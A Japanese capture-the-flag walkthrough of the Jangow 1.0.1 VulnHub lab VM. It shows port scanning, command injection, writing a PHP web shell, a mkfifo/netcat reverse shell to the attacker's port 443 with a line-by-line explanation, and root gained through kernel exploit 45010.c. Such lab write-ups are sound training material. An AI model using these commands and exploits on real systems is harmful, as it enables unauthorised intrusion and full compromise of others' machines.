ペネトレーション環境
攻撃機: IP: 192.168.149.128(Kali)
ターゲットマシン: IP: 192.168.149.129
ターゲットマシンダウンロード先: https://www.vulnhub.com/entry/jangow-101,754/
ペネトレーションの実施
一、 IPおよびポート情報の取得
nmapを使用して同セグメントのIPをスキャンします。VMwareを使用している場合、スキャンできないことがあります。その場合は、ターゲットマシンのリカバリーモードでネットワークカードを再設定する必要があります。ネット上に多くのチュートリアルがあるため、ここでは詳述しません。
nmap -sn 192.168.149.0/24
ターゲットマシンのIPが`192.168.149.129`であることが判明しました。
次にポートをスキャンします(少し時間がかかります)。
nmap -sV -p- -A -O 192.168.149.129
ターゲットマシンは21番ポートと80番ポートを開放しており、ソフトウェアのバージョン番号とオペレーティングシステムが判明しました。
二、 脆弱性の発見
1. 80番ポートへのアクセス
ウェブサイトを開くと、複数のリンクが表示されます。一つずつクリックしていくと、GET型パラメータが利用できる場所が見つかりました。
ここに`whoami`コマンドを入力してみると、実行できることがわかりました。
2. 攻撃の実行
コマンド実行が可能なため、リバースシェルを試みます。しかし、`bash -i`や`nc`を使用してもリバースシェルを確立できません。
次に、ワンライナーWebシェルの書き込みを試みます。
echo '' >> backdoor.php
ディレクトリを確認すると、ワンライナーWebシェルが書き込まれていることが確認できます。
次に、Weevelyを使用して接続します。
接続後、ディレクトリを閲覧すると、疑わしいファイルが見つかり、そこからユーザー名とパスワードが発見されました。
スキャンで見つかった21番ポートを使用して、このユーザーでログインを試みます。
ログインは成功しましたが、有用なファイルは見つかりませんでした。
三、 権限昇格
引き続きncを使用して接続します。`nc_shell.php`というファイルを作成し、system関数を呼び出してbash内でnc接続を実行します。
&1 | nc 192.168.149.128 443 >/tmp/fifo");?>
- rm /tmp/fifo: /tmp/fifoというファイルを削除します(存在する場合)。
- mkfifo /tmp/fifo: 名前付きパイプ(FIFO)ファイル/tmp/fifoを作成します。
- cat /tmp/fifo | /bin/sh -i 2>&1: /tmp/fifoの内容を/bin/sh(Bashシェル)に渡し、対話的なコマンド実現を実現します。
- nc 192.168.149.128 443 >/tmp/fifo: netcat (nc)コマンドを使用して標準入力と出力を/tmp/fifoにリダイレクトし、コマンド出力をIPアドレス192.168.149.128、ポート番号443のリモートホストに送信します。
ここで試したところ、443ポート以外は使用できませんでした。443はデフォルトのHTTPSポートですが、このマシンではそのポートでサービスが有効になっていないため、443でテストしてみると、成功することがわかりました。
まずKaliで443ポートをリッスンし、次に192.168.149.129/site/nc_shell.phpにアクセスします。
リバースシェルが正常に確立されました。
現在のターミナルで対話的なbashターミナルを作成します。
python3 -c 'import pty; pty.spawn("/bin/bash")'
これにより、ユーザーは通常のターミナルで直接実行するのと同じようにコマンドを実行し、システムと対話できます。
次に、取得したユーザー名とパスワードを使用してログインし、`sudo -l`コマンドを使用してこのユーザーが使用できるsudoコマンドを確認します。
このユーザーには利用できる場所がないため、システムの脆弱性をさらに探す必要があります。
システムのカーネルバージョンとディストリビューションを確認します。
uname -a # カーネルバージョンの確認
lsb_release -a # Ubuntuバージョンの確認
システムバージョンを検索します。
searchsploit 4.4.0-31 ubuntu
図の赤枠内の3つの脆弱性タイトルに`Privilege Escalation`が含まれていることがわかります。これらは権限昇格に使用されることを示しています。
次に、赤枠内の最初のexpを使用してみます。まず、このexpのパスを確認します(これらのexpはすべてローカルに保存されています)。
searchsploit -p 45010.c
次に、その詳細情報を確認します。
cat /usr/share/exploitdb/exploits/linux/local/45010.c
ファイルのヘッダーには、使用方法が記載されています。つまり、`gcc`でコンパイルしてから実行すればよいです(実行権限を追加することを忘れないでください)。
次に、expをダウンロードします。ファイルの最後に保存先のパスが表示されます。
searchsploit -m 45010.c
それをコンパイルします。
gcc 45010.c -o exploit
次に、それをターゲットマシンに送り返します。通常、pythonで簡易サーバーを起動すればよいです。
サーバー: python3 -m http.server [ポート]
クライアント: wget [ホスト:8000/ファイル名]
しかし、試したところ転送に失敗しました。このターゲットマシンにはFTPサービスも開いているため、FTP経由で転送したり、Weevelyで転送したりできます。ここではFTPを使用して転送します。
expをターゲットマシンの`/home/jangow01/exp`に正常に転送しました。`put`コマンドでファイルを転送する場合、そのファイルがKaliの現在のパスに存在する必要があることに注意してください。
次に、このファイルに実行権限を追加し、実行しますが、ここでエラーが発生しました。
これは、使用しているKaliのバージョンが高すぎるため、高バージョンのGLIBCでコンパイルされたファイルがターゲットマシンで実行できないためです。
ソースコードがあるため、ソースコードを直接ターゲットマシンに転送できます(ファイルの転送方法は既に説明したため、ここでは繰り返しません)。ターゲットマシンでコンパイルして実行します。
ここで、私たちの権限がrootになっていることがわかります。ペネトレーションは完了しました。